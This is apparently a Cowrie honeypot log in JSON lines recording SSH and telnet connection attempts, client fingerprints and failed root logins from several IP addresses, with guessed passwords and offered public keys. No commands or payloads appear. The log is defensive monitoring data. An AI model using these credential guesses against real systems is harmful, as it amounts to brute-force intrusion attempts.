{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:50.879348Z","src_ip":"147.45.197.250","session":"bd1a83798a06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"armenia","message":"login attempt [root/armenia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:53.260640Z","src_ip":"147.45.197.250","session":"bd1a83798a06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:54.373610Z","src_ip":"147.45.197.250","session":"bd1a83798a06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.210.155.71","src_port":46902,"dst_ip":"10.17.0.5","dst_port":22,"session":"b842d2cf214a","protocol":"ssh","message":"New connection: 210.210.155.71:46902 (10.17.0.5:22) [session: b842d2cf214a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:54.643805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:54.649187Z","src_ip":"210.210.155.71","session":"b842d2cf214a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:54.881362Z","src_ip":"210.210.155.71","session":"b842d2cf214a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:85:7a:7e:23:a4:4c:29:c4:a5:76:66:11:9c:a1:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClXaIE2gZ75VyjYwSuaHTO1XL54jBZua8BgjiCUvflhDEmM/lAUdXfRy/5l0RrZBeBWxywumPf/d5DO+Z0OHQne9l6KCtwsWSZmA/SsotA66od5gmB3GqUJKPAs+Ly6J4axMdXZqb79Loc3beAUKX2XUkmyHW2jHw+cYJmXwTh0QiXSDnk5ogE9bHqHetKV/4baPXO6AkuKR8hRFuKxCqNPnBd8LZ5UsD2vuj14r0jCeVLU0x5lE9JYt/QAQ2csyKDYdzjY2uNziINaAsvpk2kxhF6QnFuRSalk4dGjkgAvzOckhBPo9YjN1qACVgGt6s4NGPQ/GyZu76/G7td7ygz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:85:7a:7e:23:a4:4c:29:c4:a5:76:66:11:9c:a1:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:56.017153Z","src_ip":"210.210.155.71","session":"b842d2cf214a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:85:7a:7e:23:a4:4c:29:c4:a5:76:66:11:9c:a1:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClXaIE2gZ75VyjYwSuaHTO1XL54jBZua8BgjiCUvflhDEmM/lAUdXfRy/5l0RrZBeBWxywumPf/d5DO+Z0OHQne9l6KCtwsWSZmA/SsotA66od5gmB3GqUJKPAs+Ly6J4axMdXZqb79Loc3beAUKX2XUkmyHW2jHw+cYJmXwTh0QiXSDnk5ogE9bHqHetKV/4baPXO6AkuKR8hRFuKxCqNPnBd8LZ5UsD2vuj14r0jCeVLU0x5lE9JYt/QAQ2csyKDYdzjY2uNziINaAsvpk2kxhF6QnFuRSalk4dGjkgAvzOckhBPo9YjN1qACVgGt6s4NGPQ/GyZu76/G7td7ygz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:56.020987Z","src_ip":"210.210.155.71","session":"b842d2cf214a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:a7:66:a8:18:cd:d5:87:7d:a6:08:99:77:87:02:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoASJwDYJF8Nw8Xlv1FriwkHRjY2KdHdnQCMvXTp3CrkQINLkYplr6QzVc5FbI7tvGVEelqhlfZFKcYj5NTn7OpzbTYZ0Ux5ss0263cEdgjG6BNJWOV+tXdKmzpLA3v0+gfYGw5azIS8mR7WRW9jYZk8R6IqVZa6IM3eVxPfuAHBYFkdq23P7ws2cdVBKO68X528hweCD8rhv4I2XpLMu8c/ZOUY8o31IpPQF0XUv2koh0OuIxaj95+KCUwXeB/vZOIT6pe1QPiAdMQDadFmYKbbnn+ESZ4+bj+V7cb27/on3eHR7QOMwKxK2pdvmcK/7ke0aC6kUGnHVVr41zqxOh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:a7:66:a8:18:cd:d5:87:7d:a6:08:99:77:87:02:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:56.253120Z","src_ip":"210.210.155.71","session":"b842d2cf214a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:a7:66:a8:18:cd:d5:87:7d:a6:08:99:77:87:02:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoASJwDYJF8Nw8Xlv1FriwkHRjY2KdHdnQCMvXTp3CrkQINLkYplr6QzVc5FbI7tvGVEelqhlfZFKcYj5NTn7OpzbTYZ0Ux5ss0263cEdgjG6BNJWOV+tXdKmzpLA3v0+gfYGw5azIS8mR7WRW9jYZk8R6IqVZa6IM3eVxPfuAHBYFkdq23P7ws2cdVBKO68X528hweCD8rhv4I2XpLMu8c/ZOUY8o31IpPQF0XUv2koh0OuIxaj95+KCUwXeB/vZOIT6pe1QPiAdMQDadFmYKbbnn+ESZ4+bj+V7cb27/on3eHR7QOMwKxK2pdvmcK/7ke0aC6kUGnHVVr41zqxOh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:56.257060Z","src_ip":"210.210.155.71","session":"b842d2cf214a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e5:f2:46:aa:b3:82:3c:54:da:e3:71:97:ce:bd:9c:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3VRlsMlF9vSoyaHckEatt3BPqWffLVdoxxqbOp48aWVEaJbPnSLJbmRJW1UCLBI7xNjzmTTeAZGad6ozXghTocIVcvnljy3FYzFtKKucw+pwnNU1bwfYCvgE93nNs/KqZV6odSRTHKxMa03WqWMcEc8DMT8i8qINAqqdvx5tksVwCr0I2+ZZ1CxuusM4ZTwdcOq5uR0F4ptY1iEH/vWoMdtND+145d22MQA0BOFbQYHLc8Z7cJo3F8P8o/fp55j7lndAwX0tHJQb23SjsDFI6yFLpBkPUZGpZp8jo4G/WdRvk0IfCht9NVwK1X+T+DRWW+tuEv31Ll+HXX0HBzPzWw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e5:f2:46:aa:b3:82:3c:54:da:e3:71:97:ce:bd:9c:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:56.489527Z","src_ip":"210.210.155.71","session":"b842d2cf214a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e5:f2:46:aa:b3:82:3c:54:da:e3:71:97:ce:bd:9c:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3VRlsMlF9vSoyaHckEatt3BPqWffLVdoxxqbOp48aWVEaJbPnSLJbmRJW1UCLBI7xNjzmTTeAZGad6ozXghTocIVcvnljy3FYzFtKKucw+pwnNU1bwfYCvgE93nNs/KqZV6odSRTHKxMa03WqWMcEc8DMT8i8qINAqqdvx5tksVwCr0I2+ZZ1CxuusM4ZTwdcOq5uR0F4ptY1iEH/vWoMdtND+145d22MQA0BOFbQYHLc8Z7cJo3F8P8o/fp55j7lndAwX0tHJQb23SjsDFI6yFLpBkPUZGpZp8jo4G/WdRvk0IfCht9NVwK1X+T+DRWW+tuEv31Ll+HXX0HBzPzWw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:56.493545Z","src_ip":"210.210.155.71","session":"b842d2cf214a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:8c:97:1f:66:e9:0c:11:18:69:38:80:44:2b:c9:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv0zCJScmzNrM8Y2hP6xy0LakkU5qfKpAOAhe/QG8+m2CbAcwqJEO4twGaBaFEWol5Y3pUWBcLwXERlk9xeCTD1qip+uaS+RA7dO9oPGbwcVKXbipUs1Y6Ck68aWgPJ6IOo5LQ52CgfcfYvC6D3KxwlOn/Mnwt4bCgubld5vwWrh8YcSIHfJYfNBxryNA4/opyHbImFQ5tPNgjL1TmB7pr0ClQdoT3Q4QT7MKKkg28j5+AuLTd0w8I9+7OTkxCg5wr93iJXdNCsDgmwGPjkuXQW8XnSjHGQErViju57uUskbEVrGUvj87bqKZzQTTfZWkP9i+U3VYug+YZRQsxaG7FQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 13:8c:97:1f:66:e9:0c:11:18:69:38:80:44:2b:c9:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:56.726146Z","src_ip":"210.210.155.71","session":"b842d2cf214a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:8c:97:1f:66:e9:0c:11:18:69:38:80:44:2b:c9:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv0zCJScmzNrM8Y2hP6xy0LakkU5qfKpAOAhe/QG8+m2CbAcwqJEO4twGaBaFEWol5Y3pUWBcLwXERlk9xeCTD1qip+uaS+RA7dO9oPGbwcVKXbipUs1Y6Ck68aWgPJ6IOo5LQ52CgfcfYvC6D3KxwlOn/Mnwt4bCgubld5vwWrh8YcSIHfJYfNBxryNA4/opyHbImFQ5tPNgjL1TmB7pr0ClQdoT3Q4QT7MKKkg28j5+AuLTd0w8I9+7OTkxCg5wr93iJXdNCsDgmwGPjkuXQW8XnSjHGQErViju57uUskbEVrGUvj87bqKZzQTTfZWkP9i+U3VYug+YZRQsxaG7FQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:56.738011Z","src_ip":"210.210.155.71","session":"b842d2cf214a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:6f:a3:7d:1c:59:0e:75:ba:bb:47:1b:04:6a:0c:1d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIZZgRDN+RNKl1CzDkpXzzwFKUHnPFiu5Tb2QNvwgCvm","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint c1:6f:a3:7d:1c:59:0e:75:ba:bb:47:1b:04:6a:0c:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:56.970809Z","src_ip":"210.210.155.71","session":"b842d2cf214a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:6f:a3:7d:1c:59:0e:75:ba:bb:47:1b:04:6a:0c:1d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIZZgRDN+RNKl1CzDkpXzzwFKUHnPFiu5Tb2QNvwgCvm","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:56.974465Z","src_ip":"210.210.155.71","session":"b842d2cf214a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:57.206704Z","src_ip":"210.210.155.71","session":"b842d2cf214a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":56362,"dst_ip":"159.203.135.109","dst_port":22,"session":"52e424091774","protocol":"ssh","message":"New connection: 193.228.128.84:56362 (159.203.135.109:22) [session: 52e424091774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:57.835411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:57.841748Z","src_ip":"193.228.128.84","session":"52e424091774","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:57.939363Z","src_ip":"193.228.128.84","session":"52e424091774","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty!","message":"login attempt [root/qwerty!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:58.339262Z","src_ip":"193.228.128.84","session":"52e424091774","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:22:59.444689Z","src_ip":"193.228.128.84","session":"52e424091774","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56048,"dst_ip":"10.17.0.5","dst_port":23,"session":"c44ba88b6b16","protocol":"telnet","message":"New connection: 152.42.224.71:56048 (10.17.0.5:23) [session: c44ba88b6b16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:23:05.065936Z"}
{"eventid":"cowrie.session.closed","duration":33.28319001197815,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:23:06.317126Z","src_ip":"152.42.224.71","session":"7c3565faee51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":59310,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb516efb2da7","protocol":"ssh","message":"New connection: 194.113.233.25:59310 (159.203.135.109:22) [session: bb516efb2da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:23:16.212835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:23:16.217967Z","src_ip":"194.113.233.25","session":"bb516efb2da7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:23:16.382769Z","src_ip":"194.113.233.25","session":"bb516efb2da7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qw12qw12","message":"login attempt [root/qw12qw12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:23:16.835538Z","src_ip":"194.113.233.25","session":"bb516efb2da7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:23:17.988938Z","src_ip":"194.113.233.25","session":"bb516efb2da7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":44892,"dst_ip":"10.17.0.5","dst_port":22,"session":"9345354937e9","protocol":"ssh","message":"New connection: 103.77.175.15:44892 (10.17.0.5:22) [session: 9345354937e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:23:28.752548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:23:28.759569Z","src_ip":"103.77.175.15","session":"9345354937e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:23:29.022135Z","src_ip":"103.77.175.15","session":"9345354937e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyu1","message":"login attempt [root/qwertyu1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:23:29.814171Z","src_ip":"103.77.175.15","session":"9345354937e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":66.1259937286377,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:23:30.511325Z","src_ip":"152.42.224.71","session":"7dc658348821","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:23:31.081669Z","src_ip":"103.77.175.15","session":"9345354937e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":51077,"dst_ip":"10.17.0.5","dst_port":22,"session":"06c4058d9b53","protocol":"ssh","message":"New connection: 152.42.212.128:51077 (10.17.0.5:22) [session: 06c4058d9b53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:23:31.645780Z"}
